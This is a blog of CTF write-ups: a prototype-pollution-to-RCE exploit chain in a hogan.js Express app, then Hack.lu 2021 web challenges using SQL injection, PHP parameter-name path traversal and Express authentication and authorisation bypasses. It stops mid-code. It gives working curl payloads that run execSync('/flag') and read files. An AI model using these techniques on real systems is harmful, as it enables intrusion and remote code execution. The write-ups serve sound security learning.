Last month, @SecurityMB created a server-side prototype pollution CTF challenge. It’s been a while since I crafted server-side prototype pollution gadgets from scratch, so I took this chance to practice! :smile:

In this writeup, I will do a rundown on the challenge by discussing how I approached the challenge and how I arrived at both the intended and unintended solutions.

Problem

Target: https://air-pollution.challenge.ctf.expert
https://twitter.com/SecurityMB/status/1453427046919639045

Rules:

  • The goal is to execute /flag via prototype pollution
  • You can download the source code
  • The environment is recreated after every request. So make sure your payload works in a single request.
  • Outgoing network connections are blocked on the server. So make sure you can read the flag right in the response.
  • Flag format is SECURITUM_[a-zA-Z0-9]+

Refresher on Prototype Pollution

Before we begin, here’s a quick refresher on how prototype pollution works:

> var control = {}, obj = {}         // instantiate empty Objects
> obj.__proto__ === Object.prototype // obj inherited Object.prototype (this is how prototype chain works)
true

> obj.__proto__.test = "polluted"    // prototype pollution here
> console.log(Object.prototype.test)
polluted

> console.log(control.test)          // every other Object inheriting Object.prototype has polluted attributes
polluted

Finding the Prototype Pollution

Now, let’s dive straight into the most important file in the distributables – index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
const express = require("express");
const { open } = require("sqlite");
const sqlite = require("sqlite3");
const hogan = require("hogan.js");

const app = express();
app.use((req, res, next) => {
  res.setHeader("connection", "close");
  next();
});
app.use(express.urlencoded({ extended: true }));

const loadDb = () => {
  return open({
    driver: sqlite.Database,
    filename: "./data.sqlite",
  });
};

const defaults = {
  city: "*",
};

const UNSAFE_KEYS = ["__proto__", "constructor", "prototype"];

const merge = (obj1, obj2) => {
  for (let key of Object.keys(obj2)) {
    if (UNSAFE_KEYS.includes(key)) continue;
    const val = obj2[key];
    key = key.trim();
    if (typeof obj1[key] !== "undefined" && typeof val === "object") {
      obj1[key] = merge(obj1[key], val);
    } else {
      obj1[key] = val;
    }
  }

  return obj1;
};

const TEMPLATE = `
<table border="1">
  <thead>
    <tr>
      <th>City</th>
      <th>Pollution index</th>
      <th>Year</th>
    </tr>
  </thead>
  <tbody>
  {{#data}}
    <tr>
      <td>{{city}}</td>
      <td>{{pollution}}</td>
      <td>{{year}}</td>
    </tr>
  {{/data}}
  {{^data}}
    Nothing found
  {{/data}}
  </tbody>
</table>
`;

app.post("/get-data", async (req, res) => {
  const db = await loadDb();
  const reqFilter = req.body;
  const filter = {};
  merge(filter, defaults);
  merge(filter, reqFilter);

  const template = hogan.compile(TEMPLATE);

  const conditions = [];
  const params = [];
  if (filter.city && filter.city !== "*") {
    conditions.push(`city LIKE '%' || ? || '%'`);
    params.push(filter.city);
  }

  if (filter.year) {
    conditions.push("(year = ?)");
    params.push(filter.year);
  }

  const query = `SELECT * FROM data ${
    conditions.length > 0 ? `WHERE ${conditions.join(" AND ")}` : ""
  }`;
  const data = await db.all(query, params);
  try {
    return res.send(template.render({ data }));
  } catch (ex) {
  } finally {
    await db.close();
  }
  const f = `return ${template}`;
  try {
    res.json({ error: Function(f)() });
  } catch (ex) {
    res.json({ error: ex + "" });
  }
});

app.use(express.static("./public"));

app.listen(1339, () => {
  console.log(`Listening on http://localhost:1339`);
});

Okay, that’s a lot of code to understand. Let’s break down the code further and examine them sections by sections.

Since the challenge is about server-side prototype pollution, let’s first examine how user input is being used in the merge() function:

const defaults = {
  city: "*",
};

const UNSAFE_KEYS = ["__proto__", "constructor", "prototype"];

const merge = (obj1, obj2) => {
  for (let key of Object.keys(obj2)) {
    if (UNSAFE_KEYS.includes(key)) continue; // [3]
    const val = obj2[key];
    key = key.trim();                        // [4]
    if (typeof obj1[key] !== "undefined" && typeof val === "object") {
      obj1[key] = merge(obj1[key], val);     // [5]
    } else {
      obj1[key] = val;                       // [6]
    }
  }

  return obj1;
};


app.post("/get-data", async (req, res) => {
  ...
  const reqFilter = req.body; // [1]
  const filter = {};
  merge(filter, defaults);
  merge(filter, reqFilter);   // [2]
  ...
}

At [1], reqFilter points to an object representing all properties and values in the parsed request body (user-controlled input).
At [2], merge(filter, reqFilter) is executed.
At [3], the keys of the object created in [1] are checked against a denylist – this is the time-of-check.
At [4], the key is being trimmed, potentially modifying the key after the denylist check is performed!
At [5] and [6], the key is being used – this is the time-of-use.

As highlighted above, there is a time-of-check to time-of-use vulnerability since the key is being modified after the denylist check is performed.

This means if req.body points to the following object:

{
  "__proto__ ": {
    "polluted": "test"
  }
}

In merge(), the denylist check is satisfied since __proto__ (which a trailing whitespace) does not match any of the elements in the UNSAFE_KEYS array.

After merge(filter, reqFilter) has been executed, we will be able to set filter.__proto__.polluted (i.e. Object.prototype.polluted) to "test".

Escalating Prototype Pollution to RCE

Great, we found the server-side prototype pollution. But how can we get RCE and execute /flag?
Let’s continue analysing the provided source code to gain some ideas:

const TEMPLATE = `
...
`;

app.post("/get-data", async (req, res) => {
  ...
  merge(filter, reqFilter);                     // prototype pollution here

  const template = hogan.compile(TEMPLATE);     // [1]

  const conditions = [];
  const params = [];
  if (filter.city && filter.city !== "*") {
    conditions.push(`city LIKE '%' || ? || '%'`);
    params.push(filter.city);
  }

  if (filter.year) {
    conditions.push("(year = ?)");
    params.push(filter.year);
  }

  const query = `SELECT * FROM data ${
    conditions.length > 0 ? `WHERE ${conditions.join(" AND ")}` : ""
  }`;
  const data = await db.all(query, params);     // [2]
  try {
    return res.send(template.render({ data })); // [3]
  } catch (ex) {
  } finally {
    await db.close();
  }
  const f = `return ${template}`;               // [4]
  try {
    res.json({ error: Function(f)() });         // [5]
  } catch (ex) {
    res.json({ error: ex + "" });
  }
});

At [1], we see that we are now compiling a template.

Template engines are prime targets to look for prototype pollution RCE gadgets, since they often parse templates into an intermediate Abstract Syntax Tree (AST) before compiling the AST into code and executing the dynamically generated code. With prototype pollution, we may be able to trick the template parser into using the polluted values and injecting into the AST. This allows us to potentially inject into the compiled (generated) code that is subsequently executed/evaluated, resulting in RCE!

Let’s keep this in mind and move on. At [2], we see that db.all() is called. Unfortunately, it’s pretty unlikely that we can do anything with it since query uses prepared statements, and can’t be tampered with to include user-controlled inputs. Honestly, I didn’t spend much time looking into chaining prototype pollution to exploit sqlite3 much, because there is something much more interesting than that in the subsequent lines of code.

At [3], we can see that res.send(template.render({ data })) is called within the try block. If that fails, we end up reaching [4] – which generates a string using template and stores in variable f. At [5], Function(f)(), the contents of f is evaluated as JavaScript code!

By intuition, we know that the goal of the challenge is to end up at [5] and inject user-controlled input into template somehow, such that when Function(f)() is executed, we get RCE.

So, how do we cause an error in [3] such that we end in at [4]? Referencing the documentation for hogan.js (a compiler for Mustache templating language), we see an interesting compilation option:

asString: return the compiled template as a string. This feature is used by hulk to produce strings containing pre-compiled templates.

If we set the asString option using prototype pollution, hogan.compile(TEMPLATE) at [1] will now return a String. At [3], the template does not have the render() function since it’s a String object and not a Hogan.Template object – this allows us to an error and successfully land at [4]!

It’s good that we are making progress, but we haven’t figured out how to inject into the template returned at [1].

Let’s verify what we have found so far by sending the following request to our test server:

$ curl -X POST http://localhost:1339/get-data -d '__proto__ [asString]=1'
curl: (52) Empty reply from server

Something went wrong. Let’s look at the stack trace:

$ node /app/index.js
Listening on http://localhost:1339
/app/node_modules/hogan.js/lib/compiler.js:309
    return s.replace(rSlash, '\\\\')
             ^

TypeError: Cannot read property 'replace' of undefined
    at esc (/app/node_modules/hogan.js/lib/compiler.js:309:14)
    at stringifyPartials (/app/node_modules/hogan.js/lib/compiler.js:263:52)
    at Object.Hogan.stringify (/app/node_modules/hogan.js/lib/compiler.js:269:82)
    at Object.Hogan.generate (/app/node_modules/hogan.js/lib/compiler.js:279:19)
    at Object.Hogan.compile (/app/node_modules/hogan.js/lib/compiler.js:420:21)
    at /app/index.js:72:26

It seems that hogan.js is attempting to use a variable but it is undefined – this is likely a side-effect of us polluting Object.prototype to set options.asString.
From the stack trace, we should be examining stringifyPartials() and esc().
But first, let’s start with Hogan.compile() to understand more about the library. :)

Finding the Intended Solution

Let’s first take a look at Hogan.compile() defined in lib/compiler.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Hogan.cache = {};

Hogan.cacheKey = function(text, options) {
  return [text, !!options.asString, !!options.disableLambda, options.delimiters, !!options.modelGet].join('||');
}

Hogan.compile = function(text, options) {
  options = options || {};           // [1]
  var key = Hogan.cacheKey(text, options);
  var template = this.cache[key];    // [2]

  if (template) {
    var partials = template.partials;
    for (var name in partials) {
      delete partials[name].instance;
    }
    return template;                 // [3]
  }

  template = this.generate(this.parse(this.scan(text, options.delimiters), text, options), text, options); // [4]
  return this.cache[key] = template; // [5]
}

At [1], options instantiates a new Object, which inherits the polluted prototype chain.
At [2], it attempts to look up the template within Hogan.cache. Since Hogan.cache is an Object that inherits Object.prototype, we can pollute the prototype chain with arbitrary key/values that are accessible via Hogan.cache[key]. At [3], we can return the attacker-controlled string inserted using prototype pollution.

This sounds great, but unfortunately won’t work due to the leading newline in TEMPLATE passed as the first argument to Hogan.compile():

const TEMPLATE = `
<table border="1">
...
`;

Recall that since key is trimmed during the merge(), we can only pollute Object.prototype with keys that do not start or end with whitespaces. However, the Hogan.cacheKey contains a leading whitespace. As such, we are unable to reference our polluted value using the generated cache key.

Moving on to [4], the template is generated and returned at [5].

We will skip the other functions and continue analysing the code of Hogan.generate() for now, since that is where the stack trace leads us to.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Hogan.generate = function(tree, text, options) {
  serialNo = 0;
  var context = { code: '', subs: {}, partials: {} }; // [1]
  Hogan.walk(tree, context);                          // [2]

  if (options.asString) {
    return this.stringify(context, text, options);    // [3]
  }

  return this.makeTemplate(context, text, options);
}

Hogan.walk = function(nodelist, context) {
  var func;
  for (var i = 0, l = nodelist.length; i < l; i++) {
    func = Hogan.codegen[nodelist[i].tag];             // [4]
    func && func(nodelist[i], context);
  }
  return context;
}

Hogan.stringify = function(codeObj, text, options) {
  return "{code: function (c,p,i) { " + Hogan.wrapMain(codeObj.code) + " }," + stringifyPartials(codeObj) +  "}";
}

Hogan.wrapMain = function(code) {
  return 'var t=this;t.b(i=i||"");' + code + 'return t.fl();';
}

At [1], context.code is initialized – an object’s properties takes priority over any inheritied properties from its prototype chain.
At [2], the AST is traversed and the context.code is created. Unfortunately for us, we are unable to us to override any of the referenced properties used within Hogan.codegen with prototype pollution, so we cannot inject into the AST during the traversal process.

Continuing on, we want to end up at [3] so that we return a String from Hogan.generate(). Observe that Hogan.stringify() calls Hogan.wrapMain(codeObj.code) and stringifyPartials(codeObj) under the hood. Since we are unable to inject into context.code, we cannot inject into Hogan.wrapMain(). Let’s move on to take a closer look at stringifyPartials():

1
2
3
4
5
6
7
function stringifyPartials(codeObj) {
  var partials = [];
  for (var key in codeObj.partials) { // [5]
    partials.push('"' + esc(key) + '":{name:"' + esc(codeObj.partials[key].name) + '", ' + stringifyPartials(codeObj.partials[key]) + "}"); // [6]
  }
  return "partials: {" + partials.join(",") + "}, subs: " + stringifySubstitutions(codeObj.subs);
}

Observe that at [5], a for ... in loop is used. This iterates over all enumerable properties of the object and those inherited from its property chain!

From this code, it is easy to identify why we encountered an error earlier.

  • We performed prototype pollution to set the property: Object.prototype.asString = '1'.
  • When looping over codeObj.partials, it finds a key: codeObj.partials.asString, which is a String.
  • At [6], codeObj.partials[key].name points to an undefined property of the string – Object.prototype.name is not defined yet!
  • We get an error in esc() for trying to call String.prototype.replace() on an undefined object.

So, to resolve the error, we also need to set the name property.

Lastly, stringifySubstitutions() is called. Again, we observe a similar for ... in loop, but this time we also see that obj[key] is used without escaping at [7]:

1
2
3
4
5
6
7
function stringifySubstitutions(obj) {
  var items = [];
  for (var key in obj) {
    items.push('"' + esc(key) + '": function(c,p,t,i) {' + obj[key] + '}'); // [7]
  }
  return "{ " + items.join(",") + " }";
}

This allows us to inject into the generated template!

Intended Solutions

Below are some variations of the intended solutions leveraging prototype pollution to inject into the generated template in the stringifySubstitutions() function:

$ curl -X POST https://air-pollution.challenge.ctf.expert/get-data \
  -d '__proto__ [name]=' \
  -d '__proto__ [asString]=},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//'
{"error":{"partials":{"name":{"name":"","partials":{},"subs":{}},"asString":{"name":"","partials":{},"subs":{}}},"subs":{"flag":"SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular /flag\n"}}}

$ curl -X POST https://air-pollution.challenge.ctf.expert/get-data \
  -d '__proto__ [name]=},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//' \
  -d '__proto__ [asString]=1'
{"error":{"partials":{"name":{"name":"},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//","partials":{},"subs":{}},"asString":{"name":"},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//","partials":{},"subs":{}}},"subs":{"flag":"SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular /flag\n"}}}

$ curl -X POST https://air-pollution.challenge.ctf.expert/get-data \
  -d '__proto__ [asString]=1' \
  -d '__proto__ [name]=2' \
  -d '__proto__ [inject]=},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//'
{"error":{"partials":{"asString":{"name":"2","partials":{},"subs":{}},"name":{"name":"2","partials":{},"subs":{}},"inject":{"name":"2","partials":{},"subs":{}}},"subs":{"flag":"SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular /flag\n"}}}

Finally, we got the flag:
SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular

Unintended Solution

Naturally, while solving this challenge, I wondered if it was possible to trigger RCE directly with prototype pollution when template.render() was invoked. :thinking:

I was chatting with @CurseRed, and both of us felt that it is very likely that we can achieve RCE when template.render() is called, especially since we can inject into the stringified template. So, we decided to challenge ourselves to try to find for a pure prototype pollution to RCE gadget.

After reading through the code a bit more, it was clear that we definitely needed to look for an injection point that does not escape our input. Also, we are unable to control the values of any properties in Hogan.codegen, which is used to traverse the AST and build the generated code in Hogan.walk().

Eventually, I discovered the following code in the library:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Hogan.generate = function(tree, text, options) {
  ...
  return this.makeTemplate(context, text, options);
}

Hogan.makeTemplate = function(codeObj, text, options) {
  var template = this.makePartials(codeObj);
  ...
}

Hogan.makePartials = function(codeObj) {
  var key, template = {subs: {}, partials: codeObj.partials, name: codeObj.name};
  for (key in template.partials) {
    template.partials[key] = this.makePartials(template.partials[key]);
  }
  for (key in codeObj.subs) {
    template.subs[key] = new Function('c', 'p', 't', 'i', codeObj.subs[key]); // [1]
  }
  return template;
}

function createPartial(node, context) {
  var prefix = "<" + (context.prefix || "");
  var sym = prefix + node.n + serialNo++;
  context.partials[sym] = {name: node.n, partials: {}};
  context.code += 't.b(t.rp("' +  esc(sym) + '",c,p,"' + (node.indent || '') + '"));'; // [2]
  return sym;
}

Looking at [1], although we can inject directly into the Function’s body, we are unable to use template.subs at all. This is because Hogan.codegen looks for specific characters within the Mustache template:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Hogan.codegen = {
  '#': function(node, context) { // this is a section e.g. {{#section}}...{{/section}}
    ...
  },

  '^': function(node, context) { // this is an inverted section e.g. {{^inverted}}...{{/inverted}}
    ...
  },

  '>': createPartial,
  '<': function(node, context) { // this is a partial e.g. {{>partial}}...{{/partial}}
    ...
  },

  '$': function(node, context) { // this is a substitution e.g. {{$sub}}...{{/sub}}
    ...
  },
  ...
}

Unfortunately, the character $ does not appear in the TEMPLATE constant, so even though we can create functions and control the Function’s body, these dynamically-created functions are never called.

Interestingly, [2] presents a new opportunity – partials allow us to inject code directly into the generated code through polluting Object.prototype.indent!
Referring to the Hogan.codegen though, we can’t find {{> (i.e. starting marker for partials) in the TEMPLATE constant.

It seems like we reached a dead end, but all hope is not lost yet!

hogan.js also allows us to specify custom delimiters via options.delimiters, which we can set by polluting Object.prototype.delimiters.

Let’s further examine how the delimiters are used:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Hogan.compile = function(text, options) {
  options = options || {};
  ...
  template = this.generate(this.parse(this.scan(text, options.delimiters), text, options), text, options);
  return this.cache[key] = template;
}

Hogan.scan = function scan(text, delimiters) { // this parses the template into AST
  ...
  if (delimiters) {
    delimiters = delimiters.split(' ');
    otag = delimiters[0];
    ctag = delimiters[1];
  }
  ...
}

Notice that options.delimiters is passed to Hogan.scan(), which derives the opening tag marker (otag) and the closing tag marker (ctag) from options.delimiter.

This means that so long as the template contains >, we can trick hogan.js into parsing the code surrounding the > character as partials! And since we are generating a HTML template, finding > is trivial :)

The last hurdle to overcome is that the payload we place within Object.prototype.indent needs to be valid JavaScript when placed within the Function body in Hogan.makePartials(), but it also needs to be valid JavaScript when injected into the code generated in createPartial().

Tip: You can log the generated function (i.e. Hogan.Template.r) in node_modules/hogan.js/lib/template.js if you are struggling to figure out what is wrong with your payload.

Unintended Solution:

$ curl -X POST https://air-pollution.challenge.ctf.expert/get-data \
  -d '__proto__ [delimiters]=tr %0a' \
  -d '__proto__ [indent]=/*"));return process.mainModule.require(`child_process`).execSync(`/flag`).toString()//*/'
SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular /flag

Last weekend, I teamed up with @jorge_ctf to play in Hack.lu CTF 2021, and somehow we managed to solve 4 out of the 5 web challenges! Considering that it was an ad hoc collaboration and we were mostly playing for fun, I’d say we did pretty well. :sweat_smile:

Overall, I think the web challenges presented at Hack.lu CTF 2021 were quite insightful, so I decided to do a writeup on the challenges we solved.
Enjoy!

Diamond Safe

Sold (Solves): 61 times
Risk (Difficulty): Mid
Seller (Creator): kunte_

Save your passwords and files securely in the Diamond Safe by STOINKS AG.
https://diamond-safe.flu.xxx/

Part 1 - Authentication Bypass Via SQL Injection

The goal of the challenge is to read the flag at /flag.txt.

But first, we need to be logged in to access other application functionalities.

The relevant code from public/src/login.php is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if (isset($_POST['password'])){
    $query = db::prepare("SELECT * FROM `users` where password=sha1(%s)", $_POST['password']); // [1]

    if (isset($_POST['name'])){
        $query = db::prepare($query . " and name=%s", $_POST['name']); // [2]
    }
    else{
        $query = $query . " and name='default'";
    }
    $query = $query . " limit 1";

    $result = db::commit($query);

    if ($result->num_rows > 0){
        $_SESSION['is_auth'] = True;
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        $_SESSION['ip'] = get_ip();
        $_SESSION['user'] = $result->fetch_row()[1];

        success('Welcome to your vault!');
        redirect('vault.php', 2);
    }
    else{
        error('Wrong login or password.');
    }
}
...

Notice that the login functionality calls db::prepare(), which seems to use some form of format string (%s) in lines [1] and [2]. We might be able to bypass string sanitisation by embedding a format string into $_POST["password"].

Tracing the code further, we can see the prepare() function declared in public/src/DB.class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static function prepare($query, $args){
    if (is_null($query)){
        return;
    }
    if (strpos($query, '%') === false){
        error('%s not included in query!');
        return;
    }

    // get args
    $args = func_get_args();
    array_shift( $args );

    $args_is_array = false;
    if (is_array($args[0]) && count($args) == 1 ) { // [3]
        $args = $args[0];
        $args_is_array = true;
    }

    $count_format = substr_count($query, '%s');

    if($count_format !== count($args)){ // [4]
        error('Wrong number of arguments!');
        return;
    }
    // escape
    foreach ($args as &$value){
        $value = static::$db->real_escape_string($value); // [5]
    }

    // prepare
    $query = str_replace("%s", "'%s'", $query); // [6]
    $query = vsprintf($query, $args); // [7]
    return $query;
}

Interestingly, [3] indicates that the prepare() function accepts an array for the second parameter.
At [4], it checks if the number of format string present in $query (first parameter) matches the number of arguments passed in the second parameter.
Arguments are then escaped using real_escape_string() in [5].
Subsequently, all format strings %s are quoted ('%s') in [6] before they are being replaced by the escaped arguments in [7].

Since no type checks were done on the $_POST parameters, we could indeed embed a format string %s within $_POST["password"] in [1], and supply an array $_POST["name"] in [2] – this allows us to inject into the SQL statement.

Sending the following request allows us to log in to a valid account:

$ curl https://diamond-safe.flu.xxx/login.php \
    --cookie 'PHPSESSID=...'  \
    -d 'password=%s' -d 'name[0]=) or 1=1 -- ' -d 'name[1]=a'
...
<div class='alert alert-success'><strong>Welcome to your vault!</strong></div>
...

Part 2 - Arbitrary File Read

Let’s look at the second half of the challenge – getting the flag.

After logging in, we have access to the vault (public/src/vault.php):

1
2
3
4
5
6
7
8
9
10
11
...
<?php 
    $dir = '/var/www/files';
    $scanned_dir = array_diff(scandir($dir), array('..', '.'));

    foreach ($scanned_dir as $key => $file_name){?>
        
        <li><a href="<?= gen_secure_url($file_name)?>"><?= ms($file_name)?></a></li>

    <?php  }  ?>
...

The rendered HTML output when visiting /vault.php is:

...
<li><a href="download.php?h=95f0dc5903ee9796c3503d2be76ad159&file_name=Diamond.txt">Diamond.txt</a></li>
<li><a href="download.php?h=f2d03c27433d3643ff5d20f1409cb013&file_name=FlagNotHere.txt">FlagNotHere.txt</a></li>
...

Let’s take a look at public/src/download.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
...
if (!isset($_SESSION['is_auth']) or !$_SESSION['is_auth']){
    redirect('login.php');
    die();
}

if(!isset($_GET['file_name']) or !is_string($_GET['file_name'])){ // [1]
    redirect('vault.php');
    die();
}

if(!isset($_GET['h']) or !is_string($_GET['h'])){ // [2]
    redirect('vault.php');
    die();
}

// check the hash
if(!check_url()){ // [3]
    redirect('vault.php');
    die();
}

$file = '/var/www/files/'. $_GET['file_name']; // [4]
if (!file_exists($file)) {
    redirect('vault.php');
    die();
}
else{
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file); // [5]
    exit;
}

[1] and [2] ensures that $_GET['filename'] and $_GET['h'] are strings. At [3], the parameters are validated. Ideally, we want to be able to reach readfile($file) in [5], since we know that we can control the file path in [4].

We somehow need to subvert the checks done in check_url().

The relevant code for check_url() function can be found in public/src/functions.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function check_url(){
    // fixed bypasses with arrays in get parameters
    $query  = explode('&', $_SERVER['QUERY_STRING']);
    $params = array();
    foreach( $query as $param ){
        // prevent notice on explode() if $param has no '='
        if (strpos($param, '=') === false){
            $param += '=';
        }
        list($name, $value) = explode('=', $param, 2);
        $params[urldecode($name)] = urldecode($value); // [6]
    }

    if(!isset($params['file_name']) or !isset($params['h'])){
        return False;
    }

    $secret = getenv('SECURE_URL_SECRET');
    $hash = md5("{$secret}|{$params['file_name']}|{$secret}");

    if($hash === $params['h']){ // [7]
        return True;
    }
    return False;
}

The function attempts to parse each GET parameter from the $_SERVER['QUERY_STRING'], URL-decoding the parameter names and values at [6]. To be able to leak, we somehow need to make $_GET['filename'] return a path traversal payload to reach /flag.txt but also ensure that $params['filename'] returns a different value. According to a comment on the PHP documentation, it can be seen that PHP does additional normalisation steps on top of URL-decoding the parameter names:

The full list of field-name characters that PHP converts to _ (underscore) is the following (not just dot):
chr(32) ( ) (space)
chr(46) (.) (dot)
chr(91) ([) (open square bracket)
chr(128) - chr(159) (various)

PHP irreversibly modifies field names containing these characters in an attempt to maintain compatibility with the deprecated register_globals feature.

So, we could supply a query string ?file_name=Diamond.txt&file.name=../../../flag.txt to trick PHP to set $_GET['filename'] = '../../../flag.txt', and make $params['filename'] = 'Diamond.txt' in check_url() – this allows us to pass the check at [3] by sending a valid $params['file_name'] and $params['hash'] accordingly:

$ curl -G --cookie 'PHPSESSID=...' https://diamond-safe.flu.xxx/download.php \
    -d 'file_name=Diamond.txt' -d 'file.name=../../../flag.txt' -d 'h=95f0dc5903ee9796c3503d2be76ad159'
flag{lul_php_challenge_1n_2021_lul}

trading-api

Sold (Solves): 20 times
Risk (Difficulty): High
Seller (Creator): pspaul

To make investing easy and simple for everyone, we built a trading API. But is it secure tho?
http://flu.xxx:20035

The goal of the challenge is to leak the flag stored in the flag table:

CREATE TABLE IF NOT EXISTS flag (flag TEXT PRIMARY KEY);

Part 1 - Authentication Bypass

Let’s start by analysing the routes handled by the server. This can be found in public/core/server.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
...
const { getOrDefault } = require('./config');
const { login, authn } = require('./authn');
const { authz, Permissions } = require('./authz');
const registerApi = require('./api');
...
async function main() {
    const app = express();

    app.use(morgan('dev'));
    app.use(express.json());

    app.all('/health', (req, res) => res.send('ok'));

    // authentication
    app.post('/api/auth/login', login);
    app.use(authn);

    // authorization
    app.use(authz({
        userPermissions: new Map(Object.entries({
            warrenbuffett69: [Permissions.VERIFIED],
        })),
        routePermissions: [
            [/^\/+api\/+priv\//i, Permissions.VERIFIED],
        ],
    }));

    await registerApi(app);

    app.listen(PORT, HOST, () => console.log(`Listening on ${HOST}:${PORT}`));
}

main()

There appears to be authentication and authorization checks performed before we can reach any of the interesting application functionalities. Let’s start by looking into login() to find a way to log in successfully.

The relevant code from public/core/authn.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
async function login(req, res) {
    const { username, password } = req.body;
    if (!username || !password) {
        return res.status(400).send('missing username or password');
    }

    try {
        const r = await got.post(`${AUTH_SERVICE}/api/users/${encodeURI(username)}/auth`, { // [1]
            headers: { authorization: AUTH_API_TOKEN },
            json: { password },
        });
        if (r.statusCode !== 200) { // [2]
            return res.status(401).send('wrong');
        }

        const jwt = jsonwebtoken.sign({ username }, JWT_SECRET); // [3]
        return res.json({ token: jwt });
    } catch (error) {
        return res.status(503).end('error');
    }
}

function authn(req, res, next) {
    const authHeader = req.header('authorization');
    if (!authHeader) {
        return res.status(400).send('missing auth token');
    }
    try {
        req.user = jsonwebtoken.verify(authHeader, JWT_SECRET); // [4]
        next();
    } catch (error) {
        return res.status(401).send('invalid auth token');
    }
}

On [1], it can be seen that the server attempts to reach a backend auth service to authenticate the user credentials. However, notice that we could inject into the request path, since encodeURI() does not escape . or /. This allows us to send a username with a path traversal payload (e.g. ../../anything?)! The user is considered logged in if the status code of the request is 200 (OK).

Examining public/auth/server.js, we see the following route handled by the auth server:

1
2
3
...
app.all('/health', (req, res) => res.send('ok'));
...

Hitting this /health endpoint with a path traversal payload in the username allows us to trick the server into thinking that we are a valid user. The server then kindly signs and issues us a valid JWT token on [3]. When authentication checks are performed in authn(), the JSON token can be successfully verified at [4].

This allows us to bypass the authentication checks.

Part 2 - Authorisation Bypass

Now that we have achieved authentication bypass, let’s move on to subvert the authorisation checks.

Recall that the authorization checks performed in public/core/server.js is:

1
2
3
4
5
6
7
8
app.use(authz({
    userPermissions: new Map(Object.entries({
        warrenbuffett69: [Permissions.VERIFIED], // [1]
    })),
    routePermissions: [
        [/^\/+api\/+priv\//i, Permissions.VERIFIED], // [2]
    ],
}));

The relevant source code from public/core/authz.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function hasPermission(userPermissions, username, permission) {
    return userPermissions.get(username)?.includes(permission) ?? false;
}

function authz({ userPermissions, routePermissions }) {
    return (req, res, next) => {
        const { username } = req.user;
        for (const [regex, permission] of routePermissions) {
            if (regex.test(req.url) && !hasPermission(userPermissions, username, permission)) { // [3]
                return res.status(403).send('forbidden');
            }
        }
        next();
    };
}

Notice that the user warrenbuffett69 (on [1]) is allowed to access the route /api/priv/* (on [2]). If we set our username to a path traversal payload, we are definitely unable to satisfy the hasPermission() check at [3].

What we can do to bypass this authorisation check is to fail regex.test(req.url) condition – skipping the entire if block! The authorisation check performed above uses req.url, which is the raw request URL. But, in Express, routes are matched using req.path. Since req.path is extracted after parsing req.url, we can abuse path normalisation to subvert the check while making the request match a route handler successfully.

In other words, req.path will be set to /api/priv/assets/assetName/buy for this request:

GET /api\priv/assets/assetName/buy HTTP/1.1

As well as this request:

GET http://junk/api/priv/assets/assetName/buy HTTP/1.1

Part 3 - SQL Injection

Now that we have access to the main functionalities of the application, we can start to figure out how to leak the flag.

The relevant code from public/core/api.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const { randomInt } = require('crypto');
const { connect, prepare } = require('./db');
const transactions = {};

function generateId() {
    return randomInt(2**48 - 1);
}

module.exports = async (app) => {
    const db = await connect();

    async function makeTransaction(username, txId, asset, amount) {
        const query = prepare('INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, :amount, :username)', { // [5]
            amount,
            asset,
            username,
            txId,
        });
    
        await db.query(query);
    }

    app.get('/api/transactions/:id', async (req, res) => {
        const txId = Number(req.params.id);
        if (!isFinite(txId)) {
            return res.status(400).send('invalid transaction id');
        }

        const transaction = await db.query(prepare('SELECT * FROM transactions WHERE id=:txId', {
            txId,
        }));
        
        if (transaction.rowCount > 0) {
            res.json(transaction.rows[0]);
        } else {
            res.status(404).send('no such transaction');
        }
    });

